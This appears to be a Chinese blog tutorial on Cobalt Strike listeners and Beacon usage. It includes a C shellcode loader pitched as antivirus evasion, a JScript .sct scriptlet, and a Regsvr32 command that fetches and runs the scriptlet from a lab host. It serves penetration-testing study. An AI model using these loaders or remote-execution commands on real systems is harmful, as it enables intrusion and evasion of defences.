Cobalt Strike备忘录-Listeners介绍

释放双眼,带上耳机,听听看~!

0x00 Listeners介绍

在本版本Cobalt Strike 3.12中 提供了如图 8种Listeners(监听器)

windows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp

  • beacon_x 系列为Cobalt Strike 自身,包括dns,http,https,smb四种方式的监听器

  • foreign 系列为外部监听器 通常与MSF或者Armitage联动。

值得一提是在Cobalt Strike 3.13版本增加了一个新的Listeners(windows/beacon_tcp/bind_tcp) 它支持linuxSSH会话。本文不使用3.13版本具体更新内容可以观看官网

0x01 创建一个服务

创建一个服务首先配置一个监听器 本文介绍http(https)

选择 Packages>Windows Executable

其中可以生成 EXE,DLL 32位系统或者64位,但是大多数我们生成Payload来做免杀

上线成功 在 Event Log处 出现上线信息 一个团队当然离不开交流 当你在Event Log直接输出内容后 全团队可见 ,输入/msg name xxx 给指定用户

0x02 Beacon

右键目标interact来使用Beacon,我们用它来执行各种命令,在第一课已经讲到 help 获得所有命令及其简介 help 具体命令 来获得详细用法。在Cobalt Strike中它的心跳默认是60s 这会让我们执行的命令响应很慢,在下载文件面前更为明显,所以我在测试时会把时间降低一点 。大家可以根据实战环境来调节,建议不要太快,不然流量会相对明显。

 在这里我sleep 5 同时介绍在beacon中 如果想对目标进行命令管理 需要在前面加上shell 如shell whoami 非常简单

0x03 Payload Generator

用 Packages>Windows Executable生成的服务很容易被AV干掉,所以我们一般生成shellcode 然后自己写个加载器加载

打开Packages>Payload Generator 

不得不说Cobalt Strike非常温馨,给我们提供了各个语言的Payload 后期我们讲会讲到如何运用Payload来做一些简单的免杀,这里我们使用 C语言来写一个简单的加载器运行我们的Payload ,C语言写这些确实很简单。

  • 用到的编译器是vc++6.0

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

unsigned char shellcode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";

void main()
{
((void(*)(void))&shellcode)();
}

编译记得使用Release模式而不是Debug 生成,其中shellcode加载器方法来自于网络,后期关于免杀将会讲到其他,本文顺带将一下白名单Regsvr32执行。

0x04 白名单执行

讲到payload生成服务 不得不讲下关于生成dll文件 利用window的Regsvr32程序

Regsvr32简介:

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。下面是常用参数,其他参数请见链接

/u 取消注册

/s 指定 regsvr32 安静运行,在成功注册/反注册DLL文件的前提下不显示结果提示框。

/n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。

/i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。

第一种

命令 regsvr32 c:\artifact.dll

第二种

通过 sct 远程执行绕过防病毒这里前提需要将 exe 文件上传到目标主机 本文上传到c:\test.exe payload.sct文件内容如下:

<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">

<![CDATA[   
var r = new ActiveXObject("WScript.Shell").Run("cmd /k c:\\test.exe"); 
]]>

</script>
</registration>
</scriptlet>

上面代码可以上传到Github等白名单域名 本文使用Cobalt Strike自带的服务来搭建 顺便介绍功能

打开>Web Drive-by>Host File

然后执行

regsvr32 /u /n /s /i:http://192.168.130.130:80/payload.sct scrobj.dll

执行效果目标机

0x05 文末

本章感觉有点简单, 在介绍监听器与payload的时候顺带提了下免杀,循序渐进把CS的功能都介绍下,让每一篇都有一些营养,由于本人笔记本不行开2个虚拟机都卡了,所以靶机有所混合,大家不要介意。这次环境的搭建浪费了很多时间。(用时5小时)

本文如有错误,请及时提醒,以免误导他人

本系列文章:

Cobalt Strike备忘录-环境搭建与基本功能

__________________________________________________________

声明:本文章来自404分享,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

想加入我们的微信群,目前聚集了来自全球信息安全公司的CEO,CSO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位,更多与安全大咖们面对面交流的机会。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

也欢迎大家加入QQ群:838278452、594479150(国内专业度最高的互联网安全交流平台之一,你关心的、你想要的这里都可以满足你)

人已赞赏
安全工具

黑客、程序员、安全工程师的年终总结

2019-10-11 17:04:42

安全工具

从0day到未授权访问到文件包含到内网漫游

2019-10-11 17:04:48

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索